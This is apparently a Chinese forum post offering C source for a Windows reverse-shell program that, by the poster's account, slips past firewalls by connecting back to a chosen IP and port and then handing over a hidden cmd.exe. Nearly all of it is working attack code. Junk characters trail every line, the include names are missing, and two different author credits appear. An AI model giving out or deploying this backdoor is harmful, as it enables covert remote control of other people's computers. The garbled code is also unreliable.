这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sT2`y$'
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/* ============================== Twa(RjB<
Rebound port in Windows NT }vZf&ib-
By wind,2006/7 q=5aHH% |
===============================*/ pS+w4gW
#include 2{b/*w
#include KMIe%2:b5
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#pragma comment(lib,"wsock32.lib") ?g+3 URpK
by
@q g:
void OutputShell(); V_J0I*Qa4
SOCKET sClient; GuR^L@+ -.
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hb3:,c(
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void main(int argc,char **argv) OXrm!'
{ IsI5c
WSADATA stWsaData; 2.%)OC!q&5
int nRet; y7F
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SOCKADDR_IN stSaiClient,stSaiServer; P".}Y[GD
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if(argc != 3) j_so s%-
{ >JE+j=
printf("Useage:\n\rRebound DestIP DestPort\n"); n/1t UF
return; ik(YJw'i7E
} gW~T{+f
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WSAStartup(MAKEWORD(2,2),&stWsaData); hE(R[hc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C`;igg$t_
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stSaiClient.sin_family = AF_INET; CHKhJ v3+4
stSaiClient.sin_port = htons(0); 8C*@d_=q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WBWW7 HK
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,1mL=|na
{ -z`%x@F<&L
printf("Bind Socket Failed!\n"); qF~9:`
return; Mn
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} >1!u]R<3
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stSaiServer.sin_family = AF_INET; J "I,]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); akyMW7'3V<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bp9RF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6a,8t
{ n%F _3`
printf("Connect Error!"); ,K,st+s|
return; s>6h]H
} HN5661;8
OutputShell(); ;"Gy5
} O
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void OutputShell() Bz } nP9
{ G7&TMg7i
char szBuff[1024]; $t%IJT
SECURITY_ATTRIBUTES stSecurityAttributes; M5WB.L[@q
OSVERSIONINFO stOsversionInfo; 2@tnOs(*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9k;,WU(K<
STARTUPINFO stStartupInfo; aU(.LC
char *szShell; o C|oh
PROCESS_INFORMATION stProcessInformation; s*Qyd{"z
unsigned long lBytesRead; y-+W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;VKWY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ( 5!'42
stSecurityAttributes.lpSecurityDescriptor = 0; 2JK
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stSecurityAttributes.bInheritHandle = TRUE; s_y8+BJaV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); UPGUJ>2Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D{JjSky
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l-%] f]>
stStartupInfo.wShowWindow = SW_HIDE; rgIWM"
stStartupInfo.hStdInput = hReadPipe; 9~W]D!m,
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +45SKu=
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GetVersionEx(&stOsversionInfo); 3&})gU&a
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switch(stOsversionInfo.dwPlatformId) Aeh#
{ *S*49Hq7c
case 1: zk{d*gN
szShell = "command.com"; "e"#k}z9
break; EF<TU.)Zf
default: Xsa8YP9
szShell = "cmd.exe"; PyfWIU7O
break; =OFhM7
} '/xynk%)xw
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m'}`+#C%)
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send(sClient,szMsg,77,0); W|8VE,"7
while(1) Q8`V0E\~
{ 7vZO;FGtG
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); F 6sQeU
if(lBytesRead) FQO=}0Hl
{ Sa<(F[p`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =.8n K
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send(sClient,szBuff,lBytesRead,0);
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} ;j1
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else I^A>YJW
{ ZXs,TaU
lBytesRead=recv(sClient,szBuff,1024,0); 3]vVuQK .
if(lBytesRead<=0) break; `C: 7N=9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D'!JV1Q
} z"mVE T
} \
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return; t4UK~ {gh
}